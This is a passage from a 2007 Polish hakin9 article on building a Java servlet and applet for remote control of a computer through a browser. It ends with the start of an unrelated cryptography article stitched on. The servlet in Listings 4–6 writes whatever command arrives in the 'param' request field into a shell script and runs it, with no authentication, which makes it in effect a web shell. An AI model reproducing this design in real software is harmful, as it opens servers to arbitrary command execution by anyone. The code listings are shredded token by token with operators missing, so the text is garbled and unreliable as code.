go  żądania  (można  także  wymusić,
żeby serwlet był tworzony zaraz po
uruchomieniu serwera), w serwlecie
jednorazowo  wywoływana  jest  me-
toda init, której zadaniem jest zaini-

cjowanie danych wykorzystywanych
przez  serwlet.  Klient  może  zgłosić
żądanie na kilka sposobów. Tu sku-
pimy się na dwóch najważniejszych
tj. na GET i POST. W przypadku żą-
dania  GET  parametry  żądania  do-
łączane  są  do  adresu  URL  (część
znajdująca się po znaku zapytania).

Listing 3.

Metoda apletu generująca żądanie typu GET

void

doGETmessage

(

String

command

)

{

//(1)

URL

currentPage

getCodeBase

()

;

String

server

currentPage

getHost

()

;

int

port

currentPage

getPort

()

;

String

protocol

currentPage

getProtocol

()

;

//posredni adres serwletu wraz z dołączoną wartością parametru

String

servletName

"/servlet/pakiet.KlasaSerwletu?param="

URLEncoder

encode

(

command

)

;

try

{

URL

adresURL

new

URL

(

protocol

server

port

servletName

)

;

//(2)

URLConnection

connection

adresURL

openConnection

()

;

//(3)

connection

setUseCaches

(

false

)

;

//ustawienie naglowkow HTTP

connection

setRequestProperty

(

"Content-Type"

"application/x-www-form-urlencoded"

)

;

//(4)

ObjectInputStream

inputStream

new

ObjectInputStream

(

connection

getInputStream

())

;

//(5)

ArrayList

String

data

(

ArrayList

String

)

inputStream

readObject

()

;

inputStream

()

;

//wypisanie otrzymanych danych do pola tekstowego jTextArea

for

(

int

;

data

size

()

;

)

jTextArea

append

(

data

get

(

)

;

}

catch

(

Exception

)

{

printStackTrace

()

;

}

Listing 4.

Metoda generująca skrypt wywołujący na serwerze przesłaną do serwletu komendę

private

boolean

generateScript

(

String

command

)

{

PrintWriter

null

;

try

{

new

PrintWriter

(

new

FileWriter

(

scriptFileName

))

;

println

(

"#!/bin/sh"

)

;

println

(

"cd "

currentDir

)

;

//przejście do odpowiedniego katalogu

println

(

command

)

;

//wywolanie komendy

println

(

"pwd"

)

;//odczytanie ścieżki do nowego katalogu

()

;

return

true

;

}

catch

(

IOException

)

{

return

false

;

}

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

Z punktu widzenia dyskrecji i bezpie-
czeństwa taka procedura całkowicie
dyskwalifikuje ten sposób, ponieważ
parametry są widoczne dla użytkow-
nika, a to daje mu łatwy sposób nie-
autoryzowanego  przejęcia  kontro-
li  nad  serwletem.  Ma  to  znacze-
nie zwłaszcza wtedy, gdy to nie my,
np. jako firma łączymy się z kompu-
terem  klienta,  ale  gdy  w  jakimś  za-
kresie  udostępniamy  komputery  fir-
my  do  zdalnej  kontroli  przez  klien-
tów.  Ponadto  niektóre  przeglądar-
ki  mają  ograniczoną  długość  adre-
su URL, co uniemożliwia przesłanie
większej ilości danych w ten sposób.
Z  tych  powodów  w  profesjonalnych
rozwiązaniach  powinniśmy  skłaniać
się raczej do stosowania żądania ty-
pu POST. Zaletą tego typu komuni-
kacji jest możliwość przesłania więk-
szej ilości danych, a przede wszyst-
kim  uniemożliwienie  podglądania
przesyłanych  parametrów.  Oczywi-
ście używanie żądań typu POST nie
ochroni danych w przypadku przeję-
cia transmisji, ale jak już wspomnieli-
śmy, do tego należy zastosować pro-
tokół szyfrujący SSL.

W przypadku formularzy HTML,

którymi w pierwszej fazie projek-

tu  będziemy  testować  nasz  serw-
let, informacja o tym, którą metodą
klient  przesyła  dane,  umieszczona
będzie  w  atrybucie

METHOD

znacz-

nika

<FORM>

(np.

METHOD=”POST”

Jeśli  nie  określimy  jego  wartości,
domyślnie dane są przesyłane me-
todą  GET.  W  aplecie  natomiast,
można  typ  transmisji  określić  po-
przez  ustalenie  odpowiednich  na-
główków żądania (o tym niżej).

Obsługa żądań przez

serwlet

Projektowanie  aplikacji  klient-ser-
wer  rozpoczniemy  od  modułu
serwerowego-serwletu. Na począ-
tek  prostego,  aby  łatwo  było  zro-
zumieć  jego  działanie.  W  charak-
terze klienta wykorzystamy prosty
formularz HTML, wysyłający żąda-
nia typu GET. Potem, gdy już uzy-
skamy  i  przetestujemy  połączenie
z  serwerem,  zamienimy  formularz
na  aplet,  w  którym  generowane
będą  żądania  obu  typów.  Na  ko-
niec rozbudujemy serwlet tak, że-
by  mógł  obsługiwać  wydawane  z
apletu  polecenia.  W  ten  sposób
zyskamy zdalną kontrolę nad kom-
puterem,  na  którym  uruchomiony

jest  serwlet.  Aby  zapewnić  moż-
liwość  przeniesienia  projektu  do
uruchamiania  poleceń,  wykorzy-
stamy  zapisywane  przez  serwlet
skrypty (pliki wsadowe).

Przygotujmy teraz prosty serw-

let,  który  najlepiej  zilustruje  sposób
obsługi  żądań  po  stronie  serwera.
W tym celu musimy przygotować kla-
sę  rozszerzającą  abstrakcyjną  kla-
sę  HttpServlet,  nazwijmy  ją  Echo-

Servlet, w której nadpiszemy meto-
dę doGet. To ona jest uruchamiana
w momencie odebrania żądania typu
GET i to w niej użytkownik powinien
zawrzeć polecenia definiujące odpo-
wiedź serwera. Argumentami tej me-
tody są obiekty typów HttpServletRe-

quest i  HttpServletResponse. Pierw-
szy z nich reprezentuje żądanie prze-
syłane  do  serwletu,  drugi  zaś  odpo-
wiedź  odsyłaną  do  klienta.  Załóż-
my,  że  klient  powinien  przesłać  me-
todą GET żądanie zawierające para-
metr o nazwie param (tzn. że do adre-
su URL doklejony zostanie tekst ?pa-

ram= z następującą po nim wartością
tego parametru). Dla uproszczenia
nasz pierwszy serwlet (Listing 1) zo-
stał napisany w taki sposób, że ocze-
kuje właśnie tak nazwanego parame-

Listing 5.

Metoda uruchamiająca skrypt i przechwytująca strumień wyjścia, który będzie wysłany do klienta

private

ArrayList

String

runScript

(

String

command

)

{

(

generateScript

(

command

))

return

null

;

String

temp

null

;

ArrayList

String

list

null

;

try

{

list

new

ArrayList

String

()

;

Process

proces_potomny

Runtime

getRuntime

()

exec

(

scriptFileName

)

;

//czytanie ze strumienia z buforowaniem

BufferedReader

new

BufferedReader

(

new

InputStreamReader

(

proces_potomny

getInputStream

()))

;

while

((

temp

readLine

())

null

)

list

add

(

temp

)

;

//sprawdzenie nowego bieżącego katalogu

currentDir

list

get

(

list

size

()

)

;

//usuniecie niepotrzebnych linii z ArrayList

list

remove

(

list

size

()

)

;

// zamkniecie bufora

()

;

}

catch

(

IOException

)

{

list

add

(

getMessage

())

;

}

return

list

;

}

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

tru,  ale  oczywiście  istnieje  sposób,
aby zbadać etykiety przesyłanych pa-
rametrów  w  momencie  otrzymania
żądania  (służy  do  tego  metoda  get-

ParameterNames obiektu będącego
pierwszym argumentem metody do-

Get, a więc instancji klasy HttpServle-

tRequest). W przypadku większej ilo-
ści parametrów są one rozdzielane
w adresie URL znakiem & np. http://

server.domain/path/servlet?param1=

wartosc1&param2=wartosc2.  Serce
naszego  prostego  serwletu  –  meto-
da doGet – ma proste zadanie, odsy-
ła do klienta kod strony HTML, w któ-
rym  informuje  o  otrzymaniu  żądania
i wyświetla wartość otrzymanego pa-
rametru param. W ten sposób łatwo
będziemy  mogli  upewnić  się,  że  ko-
munikacja została nawiązana i dane
są przekazywane poprawnie.

Do wyświetlenia tekstu korzy-

stam z obiektu klasy PrintWriter, udo-
stępnionego przez obiekt response,
tj. drugi argument metody doGet, in-
stancja  klasy  HttpServletResponse
reprezentująca odpowiedź przesyła-
ną przez serwlet do klienta. W obiek-
cie  PrintWriter  można  umieścić  kod
HTML,  który  zostanie  odesłany  do
przeglądarki i przez nią wyświetlony.

Zwróćmy uwagę na to, że w ko-

dzie klasy EchoServlet na Listin-
gu 1 obecna jest także metoda do-

Post. Jest to metoda wywoływana w

momencie  odebrania  żądania  typu
POST.  Ponieważ  z  metody  doPost
wywoływana jest metoda doGet, to
w przypadku obu żądań odpowiedź
serwletu  będzie  identyczna  –  wy-
słanie do przeglądarki kodu HTML.
Nasz serwlet potrafi wobec tego ob-
służyć oba typy żądań. Aby go prze-
testować,  potrzebujemy  teraz  mo-
dułu klienta.

Najprostszy klient

– formularz HTML

Aby  przetestować  nasz  serwlet,
przygotujemy  zwykły  HTML  formu-
larz,  wysyłający  żądania  typu  GET.
Jego przykładowy kod widoczny jest
na listingu 2, a reprezentacja w prze-
glądarce na Rysunku 2. W atrybucie
ACTION  jego  elementu  FORM  wi-
doczny jest adres naszego lokalnego
serwera i dostępnego na nim serw-

letu EchoServlet. Ponieważ na razie
serwlet  znajduje  się  na  tym  samym
komputerze,  używamy  nazwy  pętli
zwrotnej  tj.  localhost.  Warto  wspo-
mnieć,  że  jeżeli  w  żądaniu  zawarte
są znaki typu średnik, spacja, to zo-
staną one zamienione na kody ASCII
w  zapisie  szesnastkowym  poprze-
dzone  znakiem  %  np.  wspomnia-
ny  wcześniej  średnik  jest  zamienia-
ny na %3B. Na Rysunku 3 widoczna
jest strona odesłana przez serwlet z
listingu 1 po odebraniu żądania.

Jeżeli zdamy sobie sprawę z te-

go, że serwlet ma dostęp do kompu-
tera, na którym jest uruchomiony, to
łatwo możemy sobie wyobrazić, że w
formularzu wpisać możemy zamiast
dowolnego tekstu polecenia powłoki
systemowej serwera, a serwlet uru-
chomi  to  polecenie  na  serwerze  i
odeśle wygenerowany przez te pole-
cenia standardowy strumień wyjścia.
W  ten  sposób  moglibyśmy  w  naj-
prostszy sposób sterować serwerem
z przeglądarki WWW. My jednak po
stronie  klienta  ustawimy  nie  zwy-
kły formularz, ale aplet Javy. Zwolni
to nas, przede wszystkim, z pisania
rozbudowanego kodu HTML, a obok
tego  ułatwi  przygotowanie  interfej-
su  użytkownika  po  stronie  klienta,
szczególnie  jeżeli  zechcemy  aplika-
cję kliencką rozbudowywać. Do dys-
pozycji będziemy mieli wówczas ca-
ły arsenał komponentów i klas wspo-
magających Javy.

Aplet Java

– komendy typu GET

W formularzu zastosowaliśmy meto-
dę  GET.  Moglibyśmy  również  użyć
metody  POST  –  serwer  obsługuje
je obie. Stawiając po stronie klienta
aplet  uzyskujemy  nowe  możliwości
łączenia z serwletem:

• Możemy jak dotąd wysyłać żą-

dania typu GET w postaci adre-
su  URL  z  doklejonymi  parame-
trami tj. naśladować formularz z
Listingu 2, a następnie wyświe-
tlić  w  przeglądarce  kod  HTML
odesłany  przez  serwer.  Ale  po
co  wówczas  w  ogóle  przygoto-
wywać aplet?

• Możemy wykorzystać serializa-

cję obiektów do komunikacji mię-
dzy apletem, a serwletem. Po
wysłaniu danych metodą GET
lub POST aplet może samodziel-
nie przetworzyć uzyskaną odpo-
wiedź (tunelowanie HTTP).

• Możliwa jest również bezpośred-

nia komunikacja apletu z progra-
mem działającym na serwerze
poprzez gniazda (w tym przypad-
ku należy dokonać zmian w poli-
tyce bezpieczeństwa, która w do-
myślnym ustawieniach zabrania

Rysunek 5.

Na dołączonej płycie znajduje się pełen kod aplikacji z plikami

projektu dla środowiska Eclipse

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

apletowi takich sztuk). Tę możli-
wość  wspominamy,  aby  niczego
tu  nie  pominąć,  ale  jest  ona  zu-
pełnie  sprzeczna  z  założeniami
naszego projektu.

My wykorzystamy tunelowanie HTTP
i  serializację  obiektów  podczas  ko-
munikacji  z  serwletem,  a  odebra-
ne  (serializowane)  dane  wyświetli-
my  wewnątrz  apletu.  Na  razie  żą-
dania  wysyłane  będą  metodą  GET,
ale za chwilę nauczymy aplet także
korzystania z metody POST. Co ta-
kiego  oznaczają  terminy:  tunelowa-
nie  HTTP  i  serializacja  obiektów?
Zacznijmy  od  tego  drugiego  poję-
cia.  Serializacja  umożliwia  zamianę
obiektu (tj. aktualnych wartości jego
pól) na zwykły tekst ASCII w proce-

sie zwanym kodowaniem. W ten spo-
sób można przesyłać obiekty między
aplikacjami, także pracującymi na in-
nych  komputerach.  Między  tekstem
ASCII, a pierwotnym stanem obiektu
występuje  relacja  wzajemnie  jedno-
znaczna, co pozwala na odwrócenie
konwersji i odtworzenie stanu obiek-
tu po jego odebraniu przez inną apli-
kację.  Jest  jednak  jeden  warunek,
aplikacja docelowa musi znać klasę,
której instancja jest do niej wysyłana.
Zatem,  jeżeli  nadawcą  jest  serwlet
Java,  to  odbiorca  musi  również  być
napisany  w  Javie.  W  naszym  przy-
padku będzie to aplet.

Tunelowanie HTTP jest nato-

miast mechanizmem, w którym od-
powiedź odsyłana przez serwer (w
naszym przypadku serwlet Java)

nie  jest,  jak  to  ma  miejsce  zazwy-
czaj,  kodem  HTML.  Wówczas  to
na  aplikacji  klienckiej  (w  naszym
przypadku  na  aplecie)  spoczywa
odpowiedzialność  zinterpretowania
i  przetworzenia  otrzymanych  da-
nych.  Na  szczęście  oba  mechani-
zmy  są  zaimplementowane  w  kla-
sach Javy, więc naszym zadaniem
będzie jedynie ich umiejętne wyko-
rzystanie.

Stwórzmy zatem aplet z bardzo

prostym  interfejsem  widocznym
na  Rysunku  3.  Na  formie  umieści-
łem tylko dwa komponenty. Pierw-
szy  to  jednowierszowe  pole  edy-
cyjne  JTextField,  w  które  można
będzie wpisać  polecenie  (w  zależ-
ności  od  systemu  operacyjnego,
pod jakim będzie pracował serwer,

Listing 6.

Klasa serwletu – serwera naszej aplikacji, pozwalającej na kontrolę zdalnego komputera. Proszę

zwrócić uwagę na wykorzystanie danych sesji do przechowania ścieżki katalogu

public

class

RemoteControlServlet

extends

HttpServlet

{

private

final

String

scriptFileName

"./commSkrypt"

;

private

String

currentDir

;

private

ArrayList

String

arList

null

;

public

RemoteControlServlet

()

{

//po pierwszym uruchomieniu znajdziemy się w katalogu domowym uzytkownika

currentDir

System

getProperty

(

"user.dir"

)

;

}

//tu należy umieścić deklaracje metod generateScript i runScript

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

//pobranie obiektu sesji dla biezącego żądania

HttpSession

session

request

getSession

()

;

//sprawdzenie czy mamy do czynienia z nową, czy juz istniejącą sesją

(

session

getAttribute

(

"currentDir"

)

null

)

//sczytanie currentDir dla danej istniejącej juz sesji

currentDir

(

String

)

session

getAttribute

(

"currentDir"

)

;

else

//jezeli sesja jest nowa, to biezacy katalog (zmieniony przez poprzednie

//sesje) musimy przywrocic do stanu jak dla nowej sesji czuli user.dir

currentDir

System

getProperty

(

"user.dir"

)

;

arList

runScript

(

request

getParameter

(

"param"

))

;

session

setAttribute

(

"currentDir"

currentDir

)

;

//deklaracja przesyłania struktur danych przy użyciu serializacji

response

setContentType

(

"application/x-java-serialized-object"

)

;

//utworzenie obiektu klasy ObjectOutputStream

ObjectOutputStream

oos

new

ObjectOutputStream

(

response

getOutputStream

())

;

oos

writeObject

(

arList

)

;

oos

flush

()

;

}

public

void

doPost

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

doGet

(

request

response

)

;

}

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

będą  to  polecenia  Linuksowej  czy
Uniksowej  powłoki  lub  polecenia
interpretera  komend  w  Windows).
Natomiast  drugim  komponentem
jest  wielowierszowe  pole  tekstowe

JTextArea, gdzie prezentowane bę-
dą otrzymane z serwera wyniki. Nic
nie stoi na przeszkodzie, aby inter-
fejs  rozbudowywać,  np.  zastępu-
jąc  pole  edycyjne  rozwijanym  me-
nu, w którym dostępne będą ostat-
nio  użyte  polecenia  lub  użyć  tylko
jednego  pola  tekstowego  do  emu-
lacji terminala. To jednak pozosta-
wimy  Czytelnikowi,  a  my  skupimy
się  na  zasadniczym  zadaniu  aple-
tu, którym jest wysłanie do serwle-
tu żądania zawierającego komendę
wpisaną do pola edycyjnego (na ra-
zie  będzie  to  żądanie  typu  GET)  i

odebranie odpowiedzi, która zawie-
ra tekst, do zaprezentowania w po-
lu tekstowym. Natomiast serwlet, w
reakcji na odebrane żądanie, powi-
nien wykonać przesłane polecenie
i odesłać umieszczony w standar-
dowym strumieniu wyjścia output.

Zdefiniujmy w aplecie metodę o

nazwie doGETmessage, której argu-
mentem  będzie  łańcuch  polecenia.
Implementacja tej metody widoczna
jest  na  Listingu  3.  Treść  polecenia
prześlemy  w  parametrze  o  nazwie

param. Metoda ta musi wykonać na-
stępujące czynności:

• utworzyć odpowiedni adres URL

z dołączonym parametrem za-
wierającym wysyłane do serwle-
tu polecenie,

• utworzyć obiekt URLConnection

i wywołać na jego rzecz metodę

openConnection,

• zablokować buforowania (cashe'-

owania) przez przeglądarkę in-
formacji dołączonych do adresu
URL,

• utworzyć strumień wejściowy

ObjectInputStream, przy pomocy
którego będziemy odbierać dane
z serwera,

• na koniec odczytać odesła-

ne przez serwlet dane metodą

readObject, po czym można
zamknąć strumień.

Aplet powinien wywołać metodę

doGETmessage za każdym razem,
kiedy wciśnięty zostanie klawisz Enter
w trakcie edycji pola jTextField (zob.

Listing 7.

Metoda apletu wysyłająca żądanie POST

public

void

doPostMessage

(

String

comm_before

){

//zakodowanie danych, które będą wysłane do serwera metoda POST

String

data

"param="

URLEncoder

encode

(

comm_before

)

;

//(1)

URL

currentPage

getCodeBase

()

;

String

server

currentPage

getHost

()

;

int

port

currentPage

getPort

()

;

String

protocol

currentPage

getProtocol

()

;

String

servletName

"/servlet/hakin9.RemoteControlServlet"

;

try

{

URL

addressURL

new

URL

(

protocol

server

port

servletName

)

;

URLConnection

connection

addressURL

openConnection

()

;

//(2)

connection

setUseCaches

(

false

)

;

//(3)

connection

setDoOutput

(

true

)

;

//(4)

ByteArrayOutputStream

stream

new

ByteArrayOutputStream

(

512

)

;

//(5)

PrintWriter

new

PrintWriter

(

stream

true

)

;

//(6)

write

(

data

)

;

flush

()

;

//(7)

connection

setRequestProperty

(

"Content-Length"

String

valueOf

(

stream

size

()))

;

connection

setRequestProperty

(

"Content-Type"

"application/x-www-form-urlencoded"

)

;

stream

writeTo

(

connection

getOutputStream

())

;

//(8)

ObjectInputStream

inputStream

new

ObjectInputStream

(

connection

getInputStream

())

;

ArrayList

String

list

(

ArrayList

String

)

inputStream

readObject

()

;

inputStream

()

;

for

(

int

;

list

size

()

;

)

jTextArea

append

(

list

get

(

)

;

}

catch

(

Exception

)

{

jTextArea

append

(

getMessage

())

;

}

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

umieszczony  na  płycie  kod).  W  jej
części,  oznaczonej  liczbą  (5),  me-
toda  readObject  odbiera  serializo-
wany obiekt wysłany przez serwer
(jeżeli  byłoby  ich  kilka,  konieczne
byłoby  wywołanie  tej  metody  od-
powiednią ilość razy) i transformuje
go w zwykły obiekt Java. Zwracana
wartość  to  referencja  typu  Object,
konieczne  jest  zatem  rzutowanie
na  odpowiednią  klasę.  W  naszym
przypadku  serwer  będzie  przesy-
łał  instancję  klasy  typu  ogólnego

ArrayList  parametryzowanego  kla-
są łańcucha String, więc na taki typ
rzutowany jest odebrany obiekt. To
oznacza  również,  że  do  kompilacji
powyższego  kodu  niezbędna  jest
Java w wersji 5.0, w której pojawiła
się ta namiastka szablonów.

Po przygotowaniu apletu może-

my umieścić go na stronie korzy-
stając ze znacznika <

APPLET

>. Kla-

sę apletu wraz z jej macierzystą stro-
ną HTML musimy umieścić w odpo-
wiednim  katalogu  serwera  WWW,
w  przypadku  serwera  Tomcat  jest
to  katalogSerwera/webapps/ROOT.
Należy  pamiętać  o  zachowaniu
ścieżki do pliku .class, odpowiadają-
cej  nazwie  pakietu,  w  którym  zdefi-
niowana jest klasa apletu.

Implementacja klasy

serwletu

Zakładamy,  że  aplet  wysyła  do
serwletu  komendę  zrozumiałą  dla
systemu,  który  kontroluje  serwer.
Zadaniem  serwletu  będzie  tę  ko-
mendę  wykonać,  a  następnie  ode-
słać  wygenerowany  w  ten  sposób

output. Ogólny schemat będzie więc
podobny do tego, który zastosowali-
śmy  w  pierwszym  prostym  serwle-
cie  widocznym  na  Listingu  1.  Jed-
nak  tym  razem  nie  odeślemy  ko-
du  HTML,  ale  użyjemy  serializa-
cji  do  przesłania  zbioru  łańcuchów
(obiektu  typu  ArrayList<String>).
Aby wszystko było jasne prześledź-
my  schemat  komunikacji  z  punktu
widzenia serwletu:

• aplet wysyła do serwera żąda-

nie  typu  GET  z  parametrem  o
nazwie  param  i  wartością,  w
której  zapisana  jest  komenda.

Przy pierwszym żądaniu serwer
WWW tworzy instancję serwle-
tu, do której następnie przekazy-
wany jest odebrany parametr;

• serwlet wykonuje otrzymaną ko-

mendę w powłoce systemowej
lub interpretatorze komend prze-
chwytując standardowy strumień
wyjścia;

• otwierany jest strumień, do któ-

rego przesyłane są wyniki wywo-
łania  komendy  (ponieważ  uży-
wamy serializacji, w strumieniu,
reprezentowanym  przez  obiekt
typu  ObjectOutputStream,  mo-
żemy  umieścić  dowolny  rodzaj
obiektu);

• zamykamy strumień i czekamy

na kolejne żądanie bez usuwania
instancji serwletu z pamięci.

Zanim przejdziemy do napisania kla-
sy serwletu, musimy zastanowić się
jeszcze,  w  jaki  sposób  wykonywać
będziemy przesłane z apletu komen-
dy (dla większej precyzji załóżmy tu-
taj,  że  serwer  pracuje  pod  kontrolą
systemu Linuks). Jeżeli chcemy za-
chować wrażenie ciągłości pracy na
serwerze, należy koniecznie zadbać
o to, żeby serwlet pamiętał katalog,
w  którym  znalazł  się  po  wywołaniu
poprzednio  przesłanej  komendy.  W
przeciwnym  razie,  każda  komenda
wykonywana będzie w katalogu do-
mowym  użytkownika.  Katalog  prze-
chowywany  będzie  na  serwlecie  w
polu  typu  String  o  nazwie  current-

Dir. Ale to nie wystarczy. Co się sta-
nie, gdy pojawi się drugi użytkownik?
Ponieważ obsługiwać ich będzie jed-
na  instancja  serwletu,  to  obaj  będą
mieli  dostęp  do  dokładnie  tego  sa-
mego pola currentDir. Nietrudno so-
bie  wyobrazić,  jakie  to  będzie  po-
wodowało  zamieszanie.  Najbardziej
eleganckim  rozwiązaniem  tego  pro-
blemu jest mechanizm śledzenia se-
sji.  Dzięki  temu  możemy  przecho-
wać osobno informacje skojarzone z
konkretną sesją tworzoną na potrze-
by  każdego  klienta.  Zaimplemen-
towanie  tego  mechanizmu  jest  bar-
dzo  proste  dzięki  interfejsowi  Http-

Session udostępnianemu przez kla-
sę HttpServletRequest – pierwszy
argument metody doGet i doPost

serwletu, który reprezentuje żądanie
nadesłane od klienta. Obiekt sesji
możemy pobrać metodą request.get-

Session. Przechowuje on informacje
dotyczące użytkownika, który wysłał
bieżące  żądanie.  W  obiekcie  tym
możemy  przechowywać  dane,  któ-
re  zapisujemy  metodą  setAttribute,
a  odczytujemy  przy  pomocy  meto-
dy getAttribute. Szczegółami zajmie-
my się niżej (Listing 6). My wszystkie
dane  (czyli  w  zasadzie  tylko  ścież-
kę  do  katalogu)  zapisywać  będzie-
my w zmiennych sesji, ale można so-
bie wyobrazić, że część danych do-
stępna jest we wszystkich sesjach i
może być modyfikowana przez każ-
dą z nich – to daje możliwość kontak-
tu użytkowników naszego serwera i
wymiany między nimi danych (choć-
by w postaci czatu).

Ponieważ serwlet działa z upraw-

nieniami zwykłego użytkownika, ko-
mendy  jakie  możemy  wykonywać
zdalnie w przedstawionej tu aplikacji,
nie mogą wymagać uprawnień admi-
nistratora.  To  oczywiście  poważne
ograniczenia możliwości aplikacji, na
rzecz bezpieczeństwa systemu. Aby
umożliwić rzeczywiste zdalne admi-
nistrowanie  komputerem,  należało-
by  rozszerzyć  uprawnienia  serwle-
tu.  Drugie  ograniczenie  naszej  apli-
kacji  dotyczy  wykonywania  poleceń
dynamicznych  np.  top.  W  naszym
przykładzie  przechwytujemy  stan-
dardowy strumień wyjścia, więc po-
lecenia dynamiczne mogę nie chcieć
współpracować  z  naszym  serwle-
tem. Na szczęście większość z nich,
także top, można zmusić do współ-
pracy,  korzystając  z  odpowiednich
parametrów.

Listing 4 prezentuje metodę,

która  tworzy  skrypt  dla  powłoki
bash,  zmieniając  katalog  na  ten,
jaki  jest  przechowywany  w  polu

currentDir, wykonuje przesłaną ko-

W Sieci

• http://java.sun.com – serwis po-

święcony Javie na stronie jej twór-
cy, firmy Sun,

• http://tomcat.apache.org – strona

serwera Tomcat.

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

mendę (dostępną jako argument

command  metody)  i  wykonuje  po-
lecenie pwd, które zapisze do stan-
dardowego  strumienia  wyjścia  no-
wą lokalizację. Wszystkie polecenia
umieszczone  zostaną  w  pliku,  któ-
rego  ścieżka  dostępna  jest  w  polu
serwletu o nazwie scriptFileName.

Po zapisaniu skryptu do pliku

możemy go uruchomić dbając o to,
aby przechwycić standardowy stru-
mień wyjścia. Powstały w ten spo-
sób zbiór łańcuchów zapiszemy do
obiektu typu ArrayList<String>. Po-
śród  zapisanych  linii  interesować
nas  będzie  w  szczególny  sposób
ta, która powstaje w efekcie wyko-
nania polecenia pwd. Zapiszemy ją
do  pola  currentDir  klasy  serwletu,
a  potem  do  danych  sesji  i  w  ten
sposób przechowamy do chwili po-
jawienia  się  nowego  żądania.  Na
Listingu 5 widoczny jest kod meto-
dy uruchamiającej skrypt.

W klasie serwletu powinny zna-

leźć  się  również  metody  runScript
i  generateScript  z  Listingu  6.  Kla-
sę  nazwijmy  RemoteControlServlet.
Poza  nimi  musi  zawarta  tu  być  de-
klaracja  wykorzystywanego  przez
nie  pola  scriptFileName,  przecho-
wującego  nazwę  pliku,  do  którego
zapisywany  jest  skrypt,  pole  cur-

rentDir  z  nazwą  bieżącego  katalo-
gu i pole arList, do którego zapisuje-
my output. W konstruktorze domyśl-
nym klasy odczytywany jest katalog
domowy  użytkownika,  którym  przy
pierwszym  żądaniu  inicjowane  jest
pole  currentDir.  Plik  skompilowa-
nej  klasy  serwletu  należy  umieścić
w  katalogu

katalogSerwera/webapps/

R O O T/ W E B -I N F/p a c k a g e /c l a s s e s
serwera Tomcat.

Implementacja

apletu-klienta

wysyłającego żądania

typu POST

Wskazywaliśmy  wcześniej  na  wa-
dy  żądań  typu  GET.  A  skoro  nasz
serwlet  umie  już  obsługiwać  oba
typy  żądań,  to  przygotujmy  wersję
apletu-klienta,  która  będzie  wysy-
łać  żądania  typu  POST.  Jego  pod-
stawową  zaletą  jest  ukrycie  wysy-
łanych  danych.  W  tym  przypadku

przekazywane  są  za  pomocą  stru-
mieni, podobnie, jak dane odbierane
od  serwletu.  Możliwe  jest  również
odświeżanie informacji prezentowa-
nych przez aplet, bez konieczności
przeładowywania strony w przeglą-
darce.  Nie  ma  już  jednak  możliwo-
ści zrzucenia obowiązku wyświetla-
nia  danych  na  przeglądarkę  –  mo-
gą być one odbierane i prezentowa-
ne  wyłącznie  przez  aplet.  Należy
również  zwrócić  uwagę  na  fakt,  że
w  przypadku  komunikacji  w  trybie
POST aplet, który pobierany będzie
do przeglądarki klienta oraz serwlet
muszą być umieszczone na tym sa-
mym serwerze WWW.

Procedura komunikacji przy uży-

ciu żądania typu POST przebiega
następująco:

• utworzenie odpowiedniego adre-

su URL i obiektu typu URLCon-

nection,

• blokada buforowania danych w

przeglądarce,

• uzyskanie od serwera pozwole-

nia na wysyłanie danych (w przy-
padku metody GET dane binarne
można było tylko odbierać – nie
można ich dołączać do adresu
URL),

• utworzenie strumienia binarnego

buforującego dane wysyłane do
serwera,

• utworzenie obiektu PrintWriter

(a w przypadku serializacji Object-

OutputStream) oraz skojarzenie
strumienia wyjściowego z dany-
mi binarnymi,

• umieszczenie danych w buforze;
• ustawienie odpowiednich nagłów-

ków żądania i wysłania danych
binarnych,

• utworzenie strumienia wejścio-

wego i odbiór odpowiedzi.

Listing 7 przedstawia metodę do-

PostMessage, którą należy umie-
ścić w aplecie, aby generował żą-
danie typu POST.

Podsumowanie

Jak się okazało, pomysł zdalnej kon-
troli  komputera  nie  jest  wcale  ta-
ki  trudny  do  realizacji,  jak  by  się  to
mogło wydawać. Oczywiście powyż-
szy kod to zaledwie podstawa tego,
co z serwletem i apletem może zro-
bić  Czytelnik.  Nie  ma  przecież  pro-
blemu, aby przekształcić aplet-klient
tak,  aby  wyświetlał  on  listę  bieżą-
cych  procesów  i  usług  działających
na  serwerze  albo  by  udostępniał
dwa  panele  a  la  Norton  Comman-
der z możliwością zarządzania plika-
mi na serwerze. To, w którym kierun-
ku Czytelnik rozwinie przedstawiony
tutaj projekt, zależy jedynie od jego
inwencji i potrzeb. l

O autorach

• Błażej Lutkowski – student V roku Informatyki Stosowanej na Uniwersytecie

Mikołaja Kopernika w Toruniu. Programowaniem w Javie zainteresowany od 4
lat. Początkowo programował aplikacje korzystające z J2SE, teraz również JEE
5, w tym projektowaie aplikacji internetowych. Artykuł Zdalna kontrola komputera
przez przeglądarkę jest częścią jego pracy magisterskiej przygotowywanej pod
kierunkiem Jacka Matulewskiego.

• Jacek Matulewski – fizyk zajmujący się na co dzień optyką kwantową

i układami nieuporządkowanymi na Wydziale Fizyki, Astronomii i Informa-
tyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Jego specjal-
nością są symulacje ewolucji układów kwantowych oddziaływujących z sil-
nym światłem lasera. Od 1998 interesuje się programowaniem dla syste-
mu Windows, w szczególności w środowisku Borland C++Builder. Ostat-
nio zainteresowany platformą .NET i językiem C#. Poza opublikowanymi u
nas książkami dotyczącymi programowania przygotował również cykl arty-
kułów dla czasopisma PC World Komputer (od sierpnia 2005).Wierny użyt-
kownik kupionego w połowie lat osiemdziesiątych komputera osobistego
ZX Spectrum 48k.

Kontakt z autorem: jacek@fizyka.umk.pl

www.hakin9.org

hakin9 Nr 5/2007

Narzędzia

a początek poznamy kilka podstawo-
wych pojęć. Następnie opiszę bardzo
stary, ale używany do dzisiaj, algorytm

kryptograficzny i na jego przykładzie poznamy
kilka technik kryptoanalitycznych.

Zacznijmy od wprowadzenia kilku elemen-

tarnych pojęć:

• Tekst jawny (ang. plain text): informacja w

postaci niezaszyfrowanej.

• Szyfrogram, kryptogram albo szyfr (ang.

cipher text): informacja w postaci zaszyfro-
wanej.

• Klucz (ang. key): informacja użyta przy

